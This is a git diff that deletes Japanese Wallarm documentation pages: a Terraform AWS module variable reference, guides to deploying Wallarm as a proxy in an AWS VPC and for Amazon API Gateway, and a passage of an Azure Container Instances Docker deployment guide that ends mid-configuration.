        [プロキシの高度なソリューションデプロイ例](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L18)に設定例があります。 | string | いいえ -|`server_snippet` | NGINXの`server`設定ブロックに追加するカスタム設定。設定を記述したファイルをTerraformコードのディレクトリに配置し、この変数にそのパスを指定できます。

        [プロキシの高度なソリューションデプロイ例](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L19)に設定例があります。 | string | いいえ -|`post_script` | [Wallarmノード初期化スクリプト（`cloud-init.py`）](../../cloud-init.md)の実行後に実行するカスタムスクリプト。任意のスクリプトを記述したファイルをTerraformコードのディレクトリに配置し、この変数にそのパスを指定できます。

        [プロキシの高度なソリューションデプロイ例](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L34)に設定例があります。 | string | いいえ -| **AWSデプロイ構成** | | | | -| `app_name` | Wallarmモジュールが作成するAWSリソース名のプレフィックス。

        デフォルトは`wallarm`です。 | string | いいえ -| `app_name_no_template` | Wallarmモジュールが作成するAWSリソース名に大文字・数字・特殊文字を使用するかどうか。`false`の場合、リソース名は小文字のみになります。

        デフォルトは`false`です。 | bool | いいえ -| `lb_subnet_ids` | Application Load Balancerをデプロイする[VPCサブネットIDのリスト](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html)。推奨値は、インターネットゲートウェイへのルートを持つルートテーブルに関連付けられたパブリックサブネットです。 | list(string) | いいえ -| `instance_subnet_ids` | Wallarm EC2インスタンスをデプロイする[VPCサブネットIDのリスト](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html)。推奨値は、送信専用接続に構成されたプライベートサブネットです。 | list(string) | いいえ -| `lb_enabled` | AWS Application Load Balancerを作成するかどうか。`custom_target_group`変数でカスタムターゲットグループを指定しない限り、この変数に渡した値に関係なくターゲットグループが作成されます。

        デフォルトは`true`です。 | bool | いいえ -| `lb_internal` | Application Load Balancerを[内部ロードバランサー](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internal-load-balancers.html)にするかどうか。デフォルトではALBはinternet-facingタイプです。非同期アプローチで接続を処理する場合は`true`を推奨します。

        デフォルトは`false`です。 | bool | いいえ -| `lb_deletion_protection` | [誤って削除されることを防ぐための保護](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#deletion-protection)をApplication Load Balancerに対して有効にするかどうか。本番デプロイでは`true`を推奨します。

        デフォルトは`true`です。 | bool | いいえ -| `lb_ssl_enabled` | クライアントとApplication Load Balancer間で[SSL接続をネゴシエートするか](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies)。`true`の場合、`lb_ssl_policy`と`lb_certificate_arn`が必須です。本番デプロイで推奨されます。

        デフォルトは`false`です。 | bool | いいえ -| `lb_ssl_policy` | [Application Load Balancerのセキュリティポリシー](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies)。 | string | `lb_ssl_enabled`が`true`の場合は必須 -| `lb_certificate_arn` | AWS Certificate Manager（ACM）証明書の[Amazon Resource Name（ARN）](https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html)。 | string | `lb_ssl_enabled`が`true`の場合は必須 -| `custom_target_group` | 作成されるAuto Scaling groupに[アタッチする](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html)既存のターゲットグループ名。デフォルトでは新規ターゲットグループが作成されアタッチされます。非デフォルト値の場合、AWS ALBの作成は無効化されます。 | string | いいえ -| `inbound_allowed_ip_ranges` | Wallarmインスタンスへのインバウンド接続を許可する送信元IPおよびネットワークのリスト。トラフィックがパブリックサブネット発であっても、AWSはロードバランサーのトラフィックをマスクする点に留意してください。

        デフォルト：
        • `"10.0.0.0/8",`
        • `"172.16.0.0/12",`
        • `"192.168.0.0/16"`
        | list(string) | いいえ -| `outbound_allowed_ip_ranges` | Wallarmインスタンスからのアウトバウンド接続を許可する宛先IPおよびネットワークのリスト。

        デフォルト：`"0.0.0.0/0"`。 | list(string) | いいえ -| `extra_ports` | Wallarmインスタンスへのインバウンド接続を許可する内部ネットワークの追加ポートのリスト。セキュリティグループに適用されます。 | list(number) | いいえ -| `extra_public_ports` | Wallarmインスタンスへのインバウンド接続を許可するパブリックネットワークの追加ポートのリスト。| list(number) | いいえ -| `extra_policies` | Wallarmスタックに関連付けるAWS IAMポリシー。Amazon S3からデータを取得するスクリプトを`post_script`変数で実行する場合などに役立ちます。 | list(string) | いいえ -| `source_ranges` | AWS Application Load Balancerからのトラフィックを許可する送信元IPおよびネットワークのリスト。

        デフォルト：`"0.0.0.0/0"`。 | list(string) | いいえ -| `https_redirect_code` | HTTPリクエストをHTTPSへリダイレクトする際のコード。設定可能：
        • `0` - リダイレクト無効
        • `301` - 恒久的リダイレクト
        • `302` - 一時的リダイレクト
        デフォルトは`0`です。 | number | いいえ -| `asg_enabled` | [AWS Auto Scaling group](https://docs.aws.amazon.com/autoscaling/ec2/userguide/auto-scaling-groups.html)を作成するかどうか。

        デフォルトは`true`です。 | bool | いいえ -| `min_size` | 作成されるAWS Auto Scaling group内の最小インスタンス数。

        デフォルトは`1`です。| number | いいえ -| `max_size` | 作成されるAWS Auto Scaling group内の最大インスタンス数。

        デフォルトは`3`です。| number | いいえ -| `desired_capacity` | 作成されるAWS Auto Scaling group内の初期インスタンス数。`min_size`以上、`max_size`以下である必要があります。

        デフォルトは`1`です。| number | いいえ -| `autoscaling_enabled` | Wallarmクラスターに[Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html)を有効にするかどうか。

        デフォルトは`false`です。 | bool | いいえ -| `autoscaling_cpu_target` | AWS Auto Scaling groupが維持すべき平均CPU使用率（％）。デフォルトは`70.0`です。 | string | いいえ -| `ami_id` | Wallarmインスタンスのデプロイに使用する[Amazon Machine ImageのID](https://docs.aws.amazon.com/managedservices/latest/userguide/find-ami.html)。デフォルト（空文字列）の場合、アップストリームの最新イメージが使用されます。Wallarmノードを基にしたカスタムAMIを作成しても構いません。 | string | いいえ -| `key_name` | SSHでWallarmインスタンスに接続するために使用する[AWSキーペア名](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html)。デフォルトではSSH接続は無効です。 | string | いいえ -| `tags` | Wallarmモジュールが作成するAWSリソースに付与するタグ。| map(string) | いいえ - -## 例でWallarm Terraformモジュールを試す - -本番デプロイ前にWallarmモジュールの使い方を試せる例を用意しています。 - -* [AWS VPCでのプロキシ](proxy-in-aws-vpc.md) -* [Amazon API Gateway向けプロキシ](proxy-for-aws-api-gateway.md) - -## WallarmとTerraformに関する補足情報 - -Terraformには、多数の統合（provider）と、すぐに使える構成（module）があり、多くのベンダーが公開[レジストリ](https://www.terraform.io/registry#navigating-the-registry)に提供しています。 - -このレジストリに、Wallarmは以下を公開しています。 - -* Terraform互換環境からAWSへノードをデプロイするための[Wallarmモジュール](https://registry.terraform.io/modules/wallarm/wallarm/aws/)（本記事で説明）。 -* Terraform経由でWallarmを管理するための[Wallarmプロバイダー](../../../../admin-en/managing/terraform-provider.md)。 - -これら2つは目的が異なる独立した要素であり、相互に依存しません。 - -## 制限事項 -* 現時点では[Credential stuffingの検出](../../../../about-wallarm/credential-stuffing.md)はサポートされていません。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index b790881d02..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,129 +0,0 @@ -# Amazon API Gateway向けプロキシとしてのWallarmのデプロイ - -この例では、[Amazon API Gateway](https://aws.amazon.com/api-gateway/)を保護する方法を示します。具体的には、[Terraformモジュール](https://registry.terraform.io/modules/wallarm/wallarm/aws/)を使用し、AWS Virtual Private Cloud(VPC)にインラインプロキシとしてデプロイしたWallarmを用います。 - -Wallarmプロキシソリューションは、WAAPおよびAPIセキュリティ機能を備えた高度なHTTPトラフィックルーターとして機能する追加のネットワーク層を提供します。Amazon API Gatewayを含むほぼあらゆる種類のサービスへ、機能を制限することなくリクエストをルーティングできます。 - -!!! info "セキュリティに関する注意" - 本ソリューションはAWSのセキュリティベストプラクティスに従うよう設計されています。デプロイにはAWSのrootアカウントを使用しないことを推奨します。代わりに、必要最小限の権限のみを持つIAMユーザーまたはロールを使用してください。 - - デプロイ手順は最小権限の原則を前提としており、Wallarmコンポーネントのプロビジョニングおよび運用に必要な最小限のアクセスのみを付与します。 - -## ユースケース - -サポートされている[Wallarmのデプロイオプション](https://docs.wallarm.com/installation/supported-deployment-options)の中でも、以下のようなユースケースでは、AWS VPCへのWallarmのデプロイにTerraformモジュールを推奨します: - -* 既存のインフラストラクチャがAWS上にあります。 -* Infrastructure as Code(IaC)の実践を活用しています。WallarmのTerraformモジュールにより、AWS上のWallarm nodeの管理とプロビジョニングを自動化でき、効率と一貫性が向上します。 - -## 要件 - -* Terraform 1.0.5以上が[ローカルにインストール](https://learn.hashicorp.com/tutorials/terraform/install-cli)されていること -* USまたはEUの[Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud)にあるWallarm Consoleで**Administrator**[ロール](https://docs.wallarm.com/user-guides/settings/users/#user-roles)を持つアカウントへのアクセス -* US Wallarm Cloudを使用する場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudを使用する場合は`https://api.wallarm.com`へアクセスできること。ファイアウォールでブロックされていないことを確認してください -* 任意のAWSリージョンを選択できます。Wallarm nodeのデプロイに地域の特別な制約はありません -* Terraform、AWS EC2、Security Groupsおよびその他のAWSサービスに関する理解 -* リソースのデプロイにAWSのrootアカウントを使用してはいけません - - 本ガイドで説明するデプロイを実行するには、必要最小限の権限だけを付与した専用のIAMユーザーまたはロールを使用してください。 -* 広範な権限(例: `AdministratorAccess`)の使用は避け、このモジュールの動作に必要なアクションのみを付与してください - - このデプロイで使用するIAMロールと権限は最小権限の原則に基づいて設計されています。必要なAWSリソース(例: EC2、ネットワーキング、ログ記録)の作成・管理に必要な権限のみを付与してください。 - -## ソリューションアーキテクチャ - -![Wallarmプロキシの構成図](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy-for-aws-api-gateway.png?raw=true) - -この例のWallarmプロキシソリューションには、次のコンポーネントがあります: - -* インターネット向けApplication Load BalancerがトラフィックをWallarm nodeインスタンスへルーティングします。 -* Wallarm nodeインスタンスがトラフィックを分析し、すべてのリクエストをAPI Gatewayにプロキシします。 - - この例では、説明した動作を実現するためにWallarm nodeをモニタリングモードで実行します。Wallarm nodeは、悪意のあるリクエストをブロックして正当なリクエストのみを転送するなど、他のモードでも動作できます。Wallarm nodeのモードの詳細は[ドキュメント](https://docs.wallarm.com/admin-en/configure-wallarm-mode/)をご覧ください。 -* Wallarm nodeがリクエストをプロキシするAPI Gateway。API Gatewayには次の設定があります: - - * `/demo/demo`パスが割り当てられています。 - * 単一のモックが構成されています。 - * このTerraformモジュールのデプロイ中に、"regional"または"private"の[API Gatewayのエンドポイントタイプ](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html)を選択できます。これらのタイプの詳細や相互の移行については後述します。 - - なお、この例は通常のAmazon API Gatewayをデプロイするため、Wallarm nodeの影響を受けずに動作します。 - -API Gatewayを含む上記のすべてのコンポーネントは、提供されている`wallarm`サンプルモジュールによってデプロイされます。 - -## コードコンポーネント - -この例には、次のコードコンポーネントがあります: - -* `main.tf`: プロキシソリューションとしてデプロイする`wallarm`モジュールのメイン構成です。この構成により、AWS ALBとWallarmインスタンスが作成されます。 -* `apigw.tf`: `/demo/demo`パスでアクセス可能なAmazon API Gatewayを作成する構成です。単一のモック統合が設定されます。モジュールのデプロイ時に、"regional"または"private"のエンドポイントタイプも選択できます(詳細は後述)。 -* `endpoint.tf`: API Gatewayエンドポイントの"private"タイプ用のAWS VPC Endpointの構成です。 - -## "regional"と"private"のAPI Gatewayエンドポイントの違い - -`apigw_private`変数はAPI Gatewayのエンドポイントタイプを設定します: - -* "regional"オプションでは、Wallarm nodeインスタンスはパブリックに利用可能なAPI Gatewayの[`execute-api`](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-call-api.html)サービスにリクエストを送信します。 -* "private"オプションでは、`execute-api`サービスに接続されたAWS VPC Endpointへ送信します。**本番環境のデプロイには"private"オプションを推奨します。** - -### API Gatewayへのアクセス制限の追加オプション - -エンドポイントタイプが"private"でも"regional"でも、次の方法でAPI Gatewayへのアクセスを制限できます: - -* いずれのエンドポイントタイプでも[リソースポリシー](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html)を使用します。 -* エンドポイントタイプが"private"の場合、[送信元IP](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html)でアクセスを制御します。 -* エンドポイントタイプが"private"の場合(設計上、API Gatewayはパブリックネットワークから到達不能です)、[VPCおよび/またはEndpoint](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html)でアクセスを制御します。 - -### API Gatewayのエンドポイントタイプ間の移行 - -コンポーネントを再作成せずにAPI Gatewayのエンドポイントタイプを変更できますが、次の点に注意してください: - -* タイプを"regional"から"private"に変更すると、パブリックエンドポイントはプライベートになり、パブリックなリソースからは到達不能になります。これは`execute-api`エンドポイントとドメイン名の両方に適用されます。 -* タイプを"private"から"regional"に変更すると、API Gatewayに関連付けられているAWS VPC Endpointが即座に切り離され、API Gatewayは到達不能になります。 -* コミュニティ版のNGINXはDNS名の変更を自動検出できないため、エンドポイントタイプを変更した後は、Wallarm nodeインスタンスで手動でNGINXを再起動する必要があります。 - - 各インスタンスの再起動、インスタンスの再作成、または各インスタンスでの`nginx -s reload`の実行を行います。 - -"regional"から"private"にエンドポイントタイプを変更する場合: - -1. AWS VPC Endpointを作成し、`execute-api`に関連付けます。例は`endpoint.tf`の構成ファイルにあります。 -1. API Gatewayのエンドポイントタイプを切り替え、API Gatewayの設定でAWS VPC Endpointを指定します。完了すると、トラフィックフローは停止します。 -1. 各Wallarm nodeインスタンスで`nginx -s reload`を実行するか、各Wallarm nodeを再作成します。完了すると、トラフィックフローは復旧します。 - -"private"から"regional"へエンドポイントタイプを変更することは推奨しませんが、もし実施する場合は次のとおりです: - -1. "private"モードでの稼働に必要なエンドポイントを削除し、その後にAPI Gatewayのエンドポイントタイプを"regional"へ切り替えます。 -1. 各Wallarm nodeインスタンスで`nginx -s reload`を実行するか、各Wallarm nodeを再作成します。完了すると、トラフィックフローは復旧します。 - -**本番環境ではAPI Gatewayを"private"に変更することを推奨します**。そうしない場合、Wallarm nodeからAPI Gatewayへのトラフィックはパブリックネットワーク経由となり、追加料金が発生する可能性があります。 - -## API Gateway向けの例示Wallarm AWSプロキシソリューションの実行 - -1. [EU Cloud](https://my.wallarm.com/nodes)または[US Cloud](https://us1.my.wallarm.com/nodes)のWallarm Consoleにサインアップします。 -1. Wallarm Console → Nodesを開き、Wallarm nodeタイプのノードを作成します。 -1. 生成されたnode tokenをコピーします。 -1. 例のコードを含むリポジトリをローカルマシンにクローンします: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. クローンしたリポジトリの`examples/apigateway/variables.tf`ファイルの`default`オプションで変数値を設定し、変更を保存します。 -1. `examples/apigateway`ディレクトリで次のコマンドを実行してスタックをデプロイします: - - ``` - terraform init - terraform apply - ``` - -デプロイ済みの環境を削除するには、次のコマンドを使用します: - -``` -terraform destroy -``` - -## 参考資料 - -* [パブリックおよびプライベートサブネット(NAT)を備えたAWS VPC](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [API GatewayのプライベートAPI](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) -* [API Gatewayのポリシー](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) -* [API Gatewayポリシーの例](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) -* [API Gatewayのタイプ](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index 07f73819b6..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,114 +0,0 @@ -# AWS VPCでWallarmをプロキシとしてデプロイする - -この例では、[Terraformモジュール](https://registry.terraform.io/modules/wallarm/wallarm/aws/)を使用して、既存のAWS Virtual Private Cloud (VPC)にWallarmをインラインプロキシとしてデプロイする方法を説明します。 - -Wallarmのプロキシソリューションは、WAAPおよびAPIセキュリティ機能を備えた高度なHTTPトラフィックルーターとして機能する追加のネットワーク層を提供します。 - -この[プロキシのアドバンスドソリューション](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced)を試すことで、ソリューションの柔軟性を実際に確認できます。 - -!!! info "セキュリティに関する注意" - このソリューションはAWSのセキュリティベストプラクティスに準拠するよう設計されています。デプロイにはAWSのルートアカウントの使用を避けることを推奨します。代わりに、必要最小限の権限のみを付与したIAMユーザーまたはロールを使用してください。 - - デプロイプロセスは最小権限の原則を前提としており、Wallarmコンポーネントのプロビジョニングおよび運用に必要な最小限のアクセスのみを付与します。 - -## ユースケース - -サポートされる[Wallarmのデプロイオプション](https://docs.wallarm.com/installation/supported-deployment-options)の中でも、次のようなユースケースではAWS VPCへのWallarmのデプロイにTerraformモジュールの使用を推奨します: - -* 既存のインフラストラクチャがAWS上にあります。 -* Infrastructure as Code (IaC)の実践を活用しています。WallarmのTerraformモジュールにより、AWS上のWallarmノードの管理とプロビジョニングを自動化でき、効率性と一貫性が向上します。 - -## 要件 - -* Terraform 1.0.5以上が[ローカルにインストール済み](https://learn.hashicorp.com/tutorials/terraform/install-cli)であること -* USまたはEUの[Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud)にあるWallarm Consoleで**Administrator**[ロール](https://docs.wallarm.com/user-guides/settings/users/#user-roles)を持つアカウントへのアクセス -* USのWallarm Cloudを使用する場合は`https://us1.api.wallarm.com`、EUのWallarm Cloudを使用する場合は`https://api.wallarm.com`へのアクセス。ファイアウォールでアクセスがブロックされていないことを確認してください -* 任意のAWSリージョンを使用できます。Wallarmノードのデプロイにリージョンの特別な制限はありません -* Terraform、AWS EC2、Security Groupsおよびその他のAWSサービスに関する理解 -* リソースのデプロイにAWSのルートアカウントは決して使用しないでください - - 本ガイドで説明するデプロイを実行するには、必要最小限の権限のみを持つ専用のIAMユーザーまたはロールを使用してください。 -* 広範な権限（例: `AdministratorAccess`）の使用は避け、このモジュールの動作に必要なアクションのみに権限を付与してください - - このデプロイで使用するIAMロールと権限は最小権限の原則に従って設計されています。必要なAWSリソース（例: EC2、ネットワーキング、ログ）の作成と管理に必要な権限のみを付与してください。 - -## ソリューションアーキテクチャ - -![Wallarmプロキシの構成図](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -この例のWallarmプロキシソリューションは次のコンポーネントで構成されます: - -* インターネット向けApplication Load BalancerがトラフィックをWallarmノードインスタンスへルーティングします。 -* トラフィックを解析し、リクエストをさらにプロキシするWallarmノードインスタンス。構成図上の該当要素はA、B、CのEC2インスタンスです。 - - この例では、説明した動作を実現する監視モードでWallarmノードを実行します。Wallarmノードは、悪意のあるリクエストをブロックして正当なリクエストのみを転送するなど、他のモードでも動作できます。Wallarmノードのモードの詳細は[ドキュメント](https://docs.wallarm.com/admin-en/configure-wallarm-mode/)をご参照ください。 -* Wallarmノードがリクエストをプロキシ転送するサービス。サービスの種類は問いません。例: - - * VPC Endpoints経由でVPCに接続されたAWS API Gatewayアプリケーション（対応するWallarmのTerraformデプロイは[API Gateway向けの例](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)で説明しています） - * AWS S3 - * EKSクラスターで稼働するEKSノード（この場合はInternal Load BalancerまたはNodePort Serviceの構成を推奨します） - * その他の任意のバックエンドサービス - - デフォルトでは、Wallarmノードはトラフィックを`https://httpbin.org`へ転送します。本例の起動時に、AWS Virtual Private Cloud (VPC)から到達可能でプロキシ先とできる任意のサービスのドメインまたはパスを指定できます。 - - モジュール設定オプション`https_redirect_code = 302`により、AWS ALBでHTTPリクエストをHTTPSへ安全にリダイレクトできます。 - -上記のコンポーネント（プロキシ対象のサーバーを除く）は、提供されている`wallarm`の例モジュールによってデプロイされます。 - -## コードコンポーネント - -この例には次のコードコンポーネントがあります: - -* `main.tf`: プロキシソリューションとしてデプロイする`wallarm`モジュールのメイン設定です。この設定によりAWS ALBとWallarmインスタンスが作成されます。 -* `ssl.tf`: `domain_name`変数で指定したドメインに対して新しいAWS Certificate Manager (ACM)証明書を自動発行し、AWS ALBにバインドするSSL/TLSオフロードの設定です。 - - この機能を無効にするには、`ssl.tf`および`dns.tf`ファイルを削除するかコメントアウトし、さらに`wallarm`モジュール定義内の`lb_ssl_enabled`、`lb_certificate_arn`、`https_redirect_code`、`depends_on`の各オプションをコメントアウトしてください。機能を無効にした場合は、HTTPポート（80）のみを使用できます。 -* `dns.tf`: AWS Route 53でAWS ALB向けのDNSレコードをプロビジョニングする設定です。 - - この機能を無効にするには、上記の注意に従ってください。 - -## 例のWallarm AWSプロキシソリューションを実行する - -1. [EU Cloud](https://my.wallarm.com/nodes)または[US Cloud](https://us1.my.wallarm.com/nodes)のWallarm Consoleにサインアップします。 -1. Wallarm Console → **Nodes**を開き、**Wallarm node**タイプのノードを作成します。 -1. 生成されたノードトークンをコピーします。 -1. 例のコードを含むリポジトリをローカルマシンにクローンします: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. クローンしたリポジトリの`examples/proxy/variables.tf`ファイルの`default`オプションに変数値を設定し、変更を保存します。 -1. `examples/proxy/main.tf`の`proxy_pass`にプロキシ先サーバーのプロトコルとアドレスを設定します。 - - デフォルトでは、Wallarmはトラフィックを`https://httpbin.org`へプロキシします。デフォルト値で要件を満たす場合は、そのまま使用してください。 -1. `examples/proxy`ディレクトリで次のコマンドを実行してスタックをデプロイします: - - ``` - terraform init - terraform apply - ``` - -デプロイした環境を削除するには、次のコマンドを使用します: - -``` -terraform destroy -``` - -## トラブルシューティング - -### Wallarmがインスタンスを繰り返し作成および終了します - -提供されているAWS Auto Scalingグループの設定は、サービスの高い信頼性と安定稼働に重点を置いています。AWS Auto Scalingグループの初期化中にEC2インスタンスが繰り返し作成および終了される場合は、ヘルスチェックの失敗が原因である可能性があります。 - -この問題に対処するには、次の設定を確認し、修正してください: - -* WallarmノードトークンがWallarm Console UIからコピーした有効な値になっていること -* NGINXの設定が有効であること -* NGINXの設定で指定したドメイン名が正しく解決できていること（例: `proxy_pass`の値） - -**最終手段** 上記の設定に問題がない場合は、原因を特定するためにAuto Scalingグループの設定でELBのヘルスチェックを手動で無効化してみることができます。これにより、サービス設定が不正でもインスタンスはアクティブな状態を維持し、再起動されません。数分での切り分けに追われるのではなく、ログを十分に調査してサービスをデバッグできます。 - -## 参考情報 - -* [AWS ACM証明書](https://docs.aws.amazon.com/acm/latest/userguide/gs.html) -* [パブリック/プライベートサブネット（NAT）を持つAWS VPC](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm b/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-ja/installation/cloud-platforms/azure/docker-container.md b/docs/latest-ja/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 02465e76b7..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,206 +0,0 @@ -# AzureへのWallarm Dockerイメージのデプロイ - -このクイックガイドでは、[NGINXベースのWallarmノードのDockerイメージ](https://hub.docker.com/r/wallarm/node)を[Azure **Container Instances**サービス](https://docs.microsoft.com/en-us/azure/container-instances/)を使用してMicrosoft Azureクラウドプラットフォームにデプロイする手順を説明します。 - -!!! warning "この手順の制限事項" - 本手順には負荷分散およびノードの自動スケーリングの設定は含まれていません。これらのコンポーネントを自身で設定する場合は、[Azure Application Gateway](https://docs.microsoft.com/en-us/azure/application-gateway/overview)のドキュメントを参照することをおすすめします。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/azure-container-instances-use-cases.md" - -## 前提条件 - -* 有効なAzureサブスクリプション -* [Azure CLIがインストールされていること](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* 攻撃検出ルールや[API仕様][api-policy-enf-docs]の更新をダウンロードし、さらに[allowlisted、denylisted、graylisted][graylist-docs]の国・地域・データセンターの正確なIPを取得するために、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" - -## WallarmノードDockerコンテナーの構成オプション - ---8<-- "../include/waf/installation/docker-running-options.md" - -## 環境変数で構成されたWallarmノードDockerコンテナーのデプロイ - -環境変数のみで構成されたコンテナ化Wallarmフィルタリングノードをデプロイするには、以下のツールを使用できます: - -* [Azure CLI](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart) -* [Azure portal](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-portal) -* [Azure PowerShell](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-powershell) -* [ARMテンプレート](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-template) -* [Docker CLI](https://docs.microsoft.com/en-us/azure/container-instances/quickstart-docker-cli) - -本手順では、Azure CLIを使用してコンテナーをデプロイします。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login)コマンドでAzure CLIにサインインします: - - ```bash - az login - ``` -1. [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create)コマンドでリソースグループを作成します。例えば、以下のコマンドでEast USリージョンに`myResourceGroup`グループを作成します: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. インスタンスをWallarm Cloudに接続するために使用するWallarmノードトークンをローカル環境変数に設定します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create)コマンドを使用して、WallarmノードDockerコンテナーからAzureリソースを作成します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.4.1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.4.1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_LABELS='group=' - ``` - - * `--resource-group`: 2番目の手順で作成したリソースグループ名。 - * `--name`: コンテナー名。 - * `--dns-name-label`: コンテナーのDNS名ラベル。 - * `--ports`: フィルタリングノードが待ち受けるポート。 - * `--image`: WallarmノードDockerイメージ名。 - * `--environment-variables`: フィルタリングノードの構成を含む環境変数（利用可能な変数は以下の表に記載しています）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [Azure portal](https://portal.azure.com/)を開き、作成したリソースがリソース一覧に表示されていることを確認します。 -1. [フィルタリングノードの動作をテスト](#testing-the-filtering-node-operation)します。 - -## マウントしたファイルで構成されたWallarmノードDockerコンテナーのデプロイ - -環境変数とマウントしたファイルで構成されたコンテナ化Wallarmフィルタリングノードをデプロイするには、[Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli)のみを使用できます。 - -環境変数とマウント済みの構成ファイルを使ってコンテナーをデプロイするには: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login)コマンドでAzure CLIにサインインします: - - ```bash - az login - ``` -1. [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create)コマンドでリソースグループを作成します。例えば、以下のコマンドでEast USリージョンに`myResourceGroup`グループを作成します: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. フィルタリングノードの設定を記述した構成ファイルをローカルに作成します。最小設定の例: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / 